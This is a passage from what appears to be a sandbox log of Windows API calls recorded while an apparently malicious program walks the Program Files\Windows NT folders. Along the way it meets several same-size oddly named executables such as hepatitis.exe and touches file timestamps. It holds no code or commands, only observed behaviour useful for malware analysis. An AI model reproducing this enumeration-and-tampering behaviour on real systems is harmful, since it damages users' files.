nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 0 [0250.078] GetLastError () returned 0x12 [0250.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0250.078] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0250.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.079] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0250.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0250.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0250.079] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.079] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0250.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.079] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0250.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.079] NtClose (Handle=0x1b4) returned 0x0 [0250.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0250.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0250.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0250.079] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0250.079] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6a4af0, ftCreationTime.dwHighDateTime=0x1d5a5cd, ftLastAccessTime.dwLowDateTime=0xcbbddc10, ftLastAccessTime.dwHighDateTime=0x1d5c5ce, ftLastWriteTime.dwLowDateTime=0xcbbddc10, ftLastWriteTime.dwHighDateTime=0x1d5c5ce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="")) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd9f150, ftCreationTime.dwHighDateTime=0x1d599c9, ftLastAccessTime.dwLowDateTime=0x8d8f1e20, ftLastAccessTime.dwHighDateTime=0x1d55acd, ftLastWriteTime.dwLowDateTime=0x8d8f1e20, ftLastWriteTime.dwHighDateTime=0x1d55acd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5338a0, ftCreationTime.dwHighDateTime=0x1d55e03, ftLastAccessTime.dwLowDateTime=0xe0a5eae0, ftLastAccessTime.dwHighDateTime=0x1d59924, ftLastWriteTime.dwLowDateTime=0xe0a5eae0, ftLastWriteTime.dwHighDateTime=0x1d59924, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hepatitis.exe", cAlternateFileName="")) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0250.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0250.081] GetLastError () returned 0x12 [0250.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0250.081] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.081] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.081] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0250.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.081] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.081] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.081] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.081] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.081] NtClose (Handle=0x1b4) returned 0x0 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.082] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.082] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.082] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.082] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.082] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.083] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0250.083] GetLastError () returned 0x12 [0250.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.083] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.083] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.083] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.083] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.083] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.083] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.083] NtClose (Handle=0x1b4) returned 0x0 [0250.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a08 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a90 [0250.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0250.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657b18 [0250.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657b18 [0250.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657b18 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fbc8 [0250.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657ba0 [0250.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0250.084] GetLastError () returned 0x12 [0250.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd6a0 [0250.084] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0250.085] GetLastError () returned 0x12 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a90) returned 1 [0250.085] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a08) returned 1 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd520, 